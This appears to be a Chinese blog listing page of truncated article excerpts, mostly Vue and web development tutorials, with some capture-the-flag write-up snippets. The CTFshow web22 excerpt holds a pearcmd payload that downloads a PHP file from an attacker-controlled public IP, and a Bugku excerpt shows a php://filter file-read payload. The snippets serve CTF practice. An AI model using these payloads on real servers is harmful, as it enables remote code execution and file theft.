布局vue web
Vue 时间插件 moment 使用
下载安装 npm install moment -s 全局方法 main.js 里面注册生成 import * as moment from 'moment' Vue.prototype.$moment = moment 全局过滤器 全局过滤器实现日期格式化 // 用法：1.{{ item.time ......
vue——前后端实现SM4加解密
参考： 1.VUE + Springboot + SM4前端加密 后端解密 https://www.cnblogs.com/caoxwen/p/16179683.html 前端 1.引入gm-crypt npm install gm-crypt 2.封装js sm4Util.js const SM4 ......
数据可视化【原创】vue+arcgis+threejs 实现海量建筑物房屋渲染，性能优化
本文适合对vue，arcgis4.x，threejs，ES6较熟悉的人群食用。 先报备一下版本号 "vue": "^2.6.11" "@arcgis/core": "^4.21.2" "three": "^0.149.0" 语法：vue，ES6 其实现在主流很多海量建筑渲染的方案是加载3DTiles ......
Vue3 watchEffect()
watchEffect()函数的作用是接收函数作为参数，并立即执行该函数，当该函数依赖的数据发生变化时，重新运行该函数。 <template> <span> <p>{{num}}</p> <button @click="btnFn">+1</button> </span> </template> < ......
vue2父子组件传值
在Vue中，父子组件之间有多种方式可以进行数据的传递。以下是两种常见的父子组件传值方式的详细代码和讲解： 1. 使用props进行属性传递： - 父组件通过在子组件标签上绑定属性，将数据传递给子组件。 - 子组件通过在props对象中定义属性来接收父组件传递的属性，并在组件内部使用。 父组件： `` ......
《Kali渗透基础》15. WEB 渗透
WEB 技术（WEB 攻击面，HTTP 协议基础，AJAX，WEB Service）、扫描工具（HTTrack，Nikto，Skipfish，Arachni，OWASP-ZAP，BurpSuite，AWVS，AppScan）、其他工具（SQLmap，XSSer，BeEF，Weevely，OpenSS... ......
如何实现一个高效的Web服务器？
## 前端性能优化 1. 压缩传输的数据量，如使用Gzip或Deflate来压缩HTML、CSS和JavaScript等静态资源。压缩文件可以通过消除空格、注释、无用代码和变量重命名等方式来减小文件大小。合并文件可以减少HTTP请求的数量，提高加载效率。使用工具如Webpack或Gulp可以自动化这 ......
Vue3 readonly()
readonly()函数的作用是接收一个对象，其可以是普通对象，也可以是响应式对象，然后返回接收对象的只读代理对象。 通俗地讲，即如果想要一个对象是只读的，就使用readonly()函数。 <template> <span> <p>{{obj}}</p> <p>{{newobj}}</p> </sp ......
Bugku-Web12
 没啥思路，感觉自己在刷题，，， 这个考虑的是本地管理员  第一个是通过sq ......
vue sort 排序
Vue.js提供了多种实现排序的方式。下面列举了几种常见的排序方法及示例代码。 1、使用JavaScript原生的Array.prototype.sort()方法进行排序。这种方法适用于简单的数组排序需求。 // 在Vue组件中的方法中使用sort方法进行排序 data() { return { m ......
Bugku-Web3
 比较简单的题目，  我比较才，他给的网址就是一直弹框，flag就在这里，我打开了bp但是束手无策，打开了F2也看不到源网页 ......
Bugku-Web7
打开页面之后一直在刷新（也可以说是窗口重新加载？）  最近刚学了js脚本，浏览器右键检查源代码，发现有一 ......
Bugku-Web10
 这个很简单！！！   根据题意进行unescape解码，得到js脚本，将js脚本中的代码填入输入框中点击提交就得到了fla ......
Bugku-Web14
 php://filter/read=convert.base64-encode/resource=in ......
vue横向滚动,并且实现点击左右按钮来进行滚动
直接上代码,可以点击左和右两个汉字进行横向滚动 <template> <div class="Home"> <div style="display: flex;height: 100%;align-items: center;"> <div @click="scrollLeft('scrollCon ......
CTFshow 萌新web22
* 源代码 ``` ``` * 解法 借助代码执行和字符串输出的区别进行延迟触发。 payload： http://url.challenge.ctf.show/?c=pearcmd&+download+http://公网IP/1.php 1.php： `"; ?>` 上传成功后显示： ``` do ......
Vue【原创】基于elementui的分组多选下拉框【group-list】
效果图： 如图分为多选模式和单选模式。 group-select： 1 <template> 2 <div> 3 <el-select 4 v-model="innerValue" 5 :placeholder="placeholder" 6 @change="changeSelect" 7 :cl ......
Vue【原创】时间轴 【time-axis】&【date-axis】
封装了关于时间轴的组件，有时候统计页面会用到。 效果图： 时间轴分为2种，一种是time-axis：范围选择模式，一种是date-axis：步长选择模式。 代码中涉及到的工具类和图片资源，请移步页面底部的gitee地址下载源码。 time-axis： 1 <template> 2 <div clas ......
web UnderTow容器常用参数
具体默认值查看io.undertow.Builder 需要个性化配置参考下方配置 server: undertow: # 以下的配置会影响buffer,这些buffer会用于服务器连接的IO操作 # 如果每次需要 ByteBuffer 的时候都去申请，对于堆内存的 ByteBuffer 需要走 JV ......
Vue项目element-ui 添加动态校验
需求：一个表单中某个字段，根据另一个字段变化，校验是否必填 <el-form ref="detail" :model="detail" :rules="ruleData" size="small" label-width="100px"> <el-card> <el-row> <el-col :sp ......
Web编辑器 从word中复制内容带多张图片
如何做到 ueditor批量上传word图片？ 1、前端引用代码 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional ......
vue3学习笔记1 - Vue2和 Vue3生命周期区别
1.vue2常用生命周期：创建前：beforeCreate() 只有一些实例本身的事件和生命周期函数 创建后：Created() 是最早使用data和methods中数据的钩子函数 挂载前：beforeMount() 指令已经解析完毕，内存中已经生成dom树 挂载后：Mounted() dom渲染完 ......
Web自动化
##第1章-Web自动化入门 ###Web自动化测试 ####1、自动化 - 概念：由机器设备代替人工自动完成指定目标的过程 - 优点：减少人工劳动力；提高工作效率；产品规格统一标准；规模化（批量生产） ####2、自动化测试 软件测试：校验系统是否满足规定的需求、弄清预期结果与实际结果之间的差别 ......
vue3响应式数据重复
记一次bug。。 由于【甲方负责人】的表单是响应式的，然后直接添加到另一个响应式的数组里了，就会造成【更改表单内容，也会使数组里的值发生变化】 解决方法 1 //添加到列表，做临时显示 2 const addresponsible = () => { 3 const newResform = { . ......
【Vue】vue3 v-draggable 拖拽指令封装
## 说明 需求：实现一个拖拽指令，可在父元素区域任意拖拽元素，同时如果传入的值为 father，则拖拽的时候以父元素为拖拽对象 思路： 1、设置需要拖拽的元素为absolute，其父元素为relative。 2、鼠标按下(onmousedown)时记录目标元素当前的 left 和 top 值。 3 ......